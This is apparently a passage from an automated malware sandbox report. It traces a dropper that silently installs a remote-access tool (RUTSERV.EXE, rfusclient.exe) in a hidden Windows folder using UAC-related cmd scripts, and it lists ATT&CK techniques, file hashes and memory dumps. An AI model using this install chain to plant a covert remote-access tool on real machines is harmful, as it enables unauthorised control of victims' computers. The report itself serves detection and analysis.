5003e0074007200750065003c002f0064007200610077005f006400610074006100740069006d0065005f006f006e005f0069006d006100670065003e003c002f006d00610069006e005f006f007000740069006f006e0073003e003c007300630068006500640075006c00650073002f003e003c002f0073007200650065006e005f007200650063006f00720064005f006f007000740069006f006e003e000d000a00
      4⤵
      System Location Discovery: System Language Discovery
      PID:5268
  - - C:\Windows\spom\RUTSERV.EXE
      "rutserv.exe" /start
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:4948
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:3692

C:\Windows\spom\RUTSERV.EXE
C:\Windows\spom\RUTSERV.EXE
1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:6136
- C:\Windows\spom\rfusclient.exe
  C:\Windows\spom\rfusclient.exe /tray
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3588
- C:\Windows\spom\rfusclient.exe
  C:\Windows\spom\rfusclient.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5684
- - C:\Windows\spom\rfusclient.exe
    C:\Windows\spom\rfusclient.exe /tray
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: SetClipboardViewer
    PID:2968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4944

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

7ZSfx000.cmd

Path C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd
Size 334B
SHA256 34d62bf1d98efe44d90146ea56234ddc48161bf785099c61b8eaf9bae6b496fb
MD5 08c90409fade122340b84aeaed0ed986
SHA1 8779165017624821b2de6d00887537f20a51496d
SHA512 9bf5f0f2b7e02a7ca989747ede041c02c2b18527210c175295744a636799eabfbe6e4b63a7e63362c373ae90c19f9e4bc8db9c20b8c42ddf14634cb16ab66d86
TLSH
T14EE0DF1495FFC71A6498901B8AE1B29EC0A069642A1A535563208CC9AD8086EFDC2243
MD5 SHA1 SHA512 TLSH

Submit Download

DATA.EXE

Path C:\Users\Admin\AppData\Local\Temp\DATA.EXE
Size 819KB
SHA256 4f10edbc89298118923bdb78d1f9e12406b85f34729d8a7ee4dec74f38baaa96
MD5 71a944406c89ab321cb1e55c37916d70
SHA1 be6ee2015475bdc1a665b1e6b86e86fcc1025c91
SHA512 9ad4c3ad397643344ff93be905db8ae88afb61c4915873e88332b3fa00021ec5ffa858d32885dd9d374ae3d96d5913eba79f2706aef0b541121f7794d86b1cda
SSDEEP 12288:Htb20Qc3lT7af41ePBRYuQLKpqeUhbTv5OFgNuPPpHSgac6016A:Htb20pkaCqT5TBWgNQ7ac6016A
TLSH
T1D6059D2373DE8361C7B25273BA557701AEBF782506B1F86B2FD8093DE920121525EA73
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

HIDE.EXE

Path C:\Users\Admin\AppData\Local\Temp\HIDE.EXE
Size 819KB
SHA256 5be7bb92afe804aa0eaac077f5527f9710c5a3ebd6a7c898d810d3d0388ecf73
MD5 72cc4ab6ee23c79bbeed4c4d7b31f741
SHA1 a5598acb794ebbbad6c0819c20f6f7ed99541e89
SHA512 4840b26abe306cdd05694eb8f0f750e451d83cdb4787b5539d730645ce66b2915b422f9e6be4a22885929fffb3c4b5bb50d9ffa8454045a11b55277c611eabf5
SSDEEP 12288:Vtb20Qc3lT7af41ePBRYuQLKpqeUhbTv5OFgNuPPpHSgaV4V6A:Vtb20pkaCqT5TBWgNQ7aV4V6A
TLSH
T133059D2373DE8361C7B25273BA55B701AEBF782506B1F86B2FD4093DE920121525EA73
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RFUSCLIENT.EXE

Path C:\Users\Admin\AppData\Local\Temp\RFUSCLIENT.EXE
Size 1.8MB
SHA256 7ee8203360bf7c114e892664fda4bf66d15db67f6d3192a692b6bc9bc457998f
MD5 3afec4347159849e4ef50d179ff1fed7
SHA1 9b3e00d0a426c622ddc34fbee96595d41bd8db72
SHA512 aa99927b06e5fefffee73124ac7ace117b74a4087090109f705c36f44f6beb5e856a55c63238c7ffc73eaba37fbd15f855ca1232cc22371039031abd8fd25bf4
SSDEEP 24576:nctjTPmsEwWjVPTHctDeUtQBdrszBY9z0N6k2PPErQzwHCEvFz9+:ncp+sijdghe/jl4rBHCEvFz9+
TLSH
T1BA852390B358D94AF34FD6BC984AD5B98970BC285DE732E777DA334F49381870B24A06
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RUTSERV.EXE

Path C:\Users\Admin\AppData\Local\Temp\RUTSERV.EXE
Size 6.3MB
SHA256 6dee2aa6f4bd56f39fc6bcc46746373da93674a8cdab0525741432c7d8080203
MD5 93a4649d70ce76d6815874fc7a72c6fb
SHA1 1e9f663fd9cb66140001847849ddf0451365233f
SHA512 a678b124bb10e83b69ec07939aca9ab249f192585b36eb630f3fe2383584514949eaefc0c611196f3dcdd079c8abee3113c11328fb2a9d231eb48d1d1aa5f0c3
SSDEEP 98304:Kh9zApjxisR0CMkbvGg42WNQZJY6rAT9KU:KhyposR0C1b/6UAZK
TLSH
T1BC666D137784623AF06FEA32483FCBB4593B7A213A55CCC66BE4194C4FB56406E3A647
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nouac.cmd

Path C:\Users\Admin\AppData\Local\Temp\nouac.cmd
Size 10KB
SHA256 28e97aa1c9bd17cf4ae3fd073b07ad561641a5ed7b02cc5e2aa5c63af637abad
MD5 1b3d1bbf89abdfbd5c17664571e8648d
SHA1 6982e602ef864923a052a694624f4a280bfbe443
SHA512 c931aa83f16e79ea3640369681eb7bd5c86e2fa2803e8a95c56eb1c6849f0d4ba38d6270d56c615c3661d6009d4dfc4e126d8252ce76ddfafacc4cc1a0baf3a6
SSDEEP 96:J8dey7k+NE8VcWRRlVN5k4M9DKjbCThbmu41:WUgkDCnRM9DooQ
TLSH
T1BF22E22CB5C79588797F407669EDB95A61B7308B13C86EB2907C7048E2F6BCC2C011EE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

uac.cmd

Path C:\Users\Admin\AppData\Local\Temp\uac.cmd
Size 10KB
SHA256 43e5d766e5373158bd11c4d20881a3114275f19ad3597d74de84da89835f6098
MD5 93c08d60ea050c839be13f42934d3fb7
SHA1 188dbc72ea5ae315f36da17684aacc83b2de8cc7
SHA512 d29b65d55b8d2dff81fa9f0c45f5a3d77b0dd26d781b9200445aee0257483715d66307b5945afea20e038b17b6af961f8b3b4c6d5a1950f0f6eec5e13d3b314d
SSDEEP 96:/e+NU0VcWRRlVN5k46F7ySKaabEc7vc1GLQLdhbmu4BaGx/GCZK:WX6nR6F7fKaah7vc1YWso
TLSH
T13022F46CB5C3A588B87F417669EDB95661B7708713C86EB2906C7088E2F6BCC2C051DE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2968-48-0x0000000000400000-0x0000000000AE6000-memory.dmp

Download

memory/3216-36-0x0000000000400000-0x0000000000AF8000-memory.dmp

Download

memory/3588-68-0x0000000000400000-0x0000000000AE6000-memory.dmp

Download

memory/3588-40-0x0000000000400000-0x0000000000AE6000-memory.dmp

Download

memory/3588-49-0x0000000000400000-0x0000000000AE6000-memory.dmp

Download

memory/3588-59-0x0000000000400000-0x0000000000AE6000-memory.dmp

Download

memory/3588-75-0x0000000000400000-0x0000000000AE6000-memory.dmp

Download

memory/3588-55-0x0000000000400000-0x0000000000AE6000-memory.dmp

Download

memory/4548-34-0x0000000000400000-0x0000000000AF8000-memory.dmp

Download

memory/4948-42-0x0000000000400000-0x0000000000AF8000-memory.dmp

Download

memory/5684-50-0x0000000000400000-0x0000000000AE6000-memory.dmp

Download

memory/5684-43-0x0000000000400000-0x0000000000AE6000-memory.dmp

Download

memory/6136-67-0x0000000000400000-0x0000000000AF8000-memory.dmp

Download

memory/6136-58-0x0000000000400000-0x0000000000AF8000-memory.dmp

Download

memory/6136-74-0x0000000000400000-0x0000000000AF8000-memory.dmp

Download

memory/6136-51-0x0000000000400000-0x0000000000AF8000-memory.dmp

Download

memory/6136-84-0x0000000000400000-0x0000000000AF8000-memory.dmp

Download

memory/6136-88-0x0000000000400000-0x0000000000AF8000-memory.dmp

Download

memory/6136-91-0x0000000000400000-0x0000000000AF8000-memory.dmp

Download

memory/6136-95-0x0000000000400000-0x0000000000AF8000-memory.dmp

Download